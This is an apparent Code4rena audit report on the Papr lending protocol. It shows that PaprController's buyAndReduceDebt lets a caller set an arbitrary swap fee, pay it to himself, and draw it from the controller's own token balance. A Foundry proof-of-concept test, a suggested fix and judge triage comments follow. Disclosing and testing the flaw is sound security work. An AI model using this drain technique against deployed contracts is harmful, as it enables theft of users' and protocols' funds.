PaprController should not pay the swap fee in buyAndReduceDebt

[code423n4]

Lines of code

https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L208-L232

Vulnerability details

Impact

https://github.com/with-backed/papr/blob/master/src/PaprController.sol#L225-L227 The best case scenario is that the paprController doesn't have any underlying tokens, in which case, buyAndReduceDebt won't work when there is a swapFee. Otherwise, paprController ends up paying for the swapFee. Even if there isn't a swap fee, the user can set an arbitrary swapFeeBips and send it to himself as the swapFeeTo.

Proof of Concept

Consider the following test. Before the borrower calls buyAndReduceDebt, the controller has an underlying balance of 1e10. After the borrower calls buyAndReduceDebt, its underlying balance decreases, which should not happen.

pragma solidity ^0.8.17;

import {TickMath} from "fullrange/libraries/TickMath.sol";

import {BasePaprControllerTest} from "./BasePaprController.ft.sol";
import {IPaprController} from "../../src/interfaces/IPaprController.sol";
import {PaprController} from "../../src/PaprController.sol";
import {UniswapHelpers} from "../../src/libraries/UniswapHelpers.sol";

contract BuyAndReduceDebtVuln is BasePaprControllerTest {
    function testBuyAndReduceDebtReducesDebt() public {
        vm.startPrank(borrower);
        nft.approve(address(controller), collateralId);
        IPaprController.Collateral[] memory c = new IPaprController.Collateral[](1);
        c[0] = collateral;
        controller.addCollateral(c);
        IPaprController.SwapParams memory swapParams = IPaprController.SwapParams({
            amount: debt,
            minOut: 982507,
            sqrtPriceLimitX96: _maxSqrtPriceLimit({sellingPAPR: true}),
            swapFeeTo: address(0),
            swapFeeBips: 0
        });
        uint256 underlyingOut = controller.increaseDebtAndSell(borrower, collateral.addr, swapParams, oracleInfo);
        IPaprController.VaultInfo memory vaultInfo = controller.vaultInfo(borrower, collateral.addr);
        assertEq(vaultInfo.debt, debt);
        // assertEq(underlyingOut - underlyingOut*10/10000, underlying.balanceOf(borrower));

        underlying.mint(address(controller), 1e10);
        assertEq(underlying.balanceOf(address(controller)), 1e10);

        uint256 fee = 10;
        underlying.approve(address(controller), underlyingOut + underlyingOut * fee / 1e4);
        swapParams = IPaprController.SwapParams({
            amount: underlyingOut,
            minOut: 1,
            sqrtPriceLimitX96: _maxSqrtPriceLimit({sellingPAPR: false}),
            swapFeeTo: address(88),
            swapFeeBips: fee
        });
        uint256 debtPaid = controller.buyAndReduceDebt(borrower, collateral.addr, swapParams);
        assertGt(debtPaid, 0);
        vaultInfo = controller.vaultInfo(borrower, collateral.addr);
        assertEq(vaultInfo.debt, debt - debtPaid);
        assertEq(underlying.balanceOf(swapParams.swapFeeTo), fee*underlyingOut/1e4);
        assertTrue(underlying.balanceOf(address(controller)) < 1e10);
    }
}

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

I found this pretty much last minute so I haven't had too much thought about it. One potential solution is to do underlying.safeTransferFrom(msg.sender, params.swapFeeTo, amountIn * params.swapFeeBips / BIPS_ONE);

The BuyAndReduceDebt test should also be modified to use a non-zero fee. https://github.com/with-backed/papr/blob/master/test/paprController/BuyAndReduceDebt.t.sol#L29 As is, if this fee is set to a non-zero value, then this test will fail. Consider this as a secondary proof of concept.

[c4-judge]

trust1995 marked the issue as duplicate of #20

[c4-judge]

trust1995 marked the issue as satisfactory

[C4-Staff]

JeeberC4 marked the issue as duplicate of #196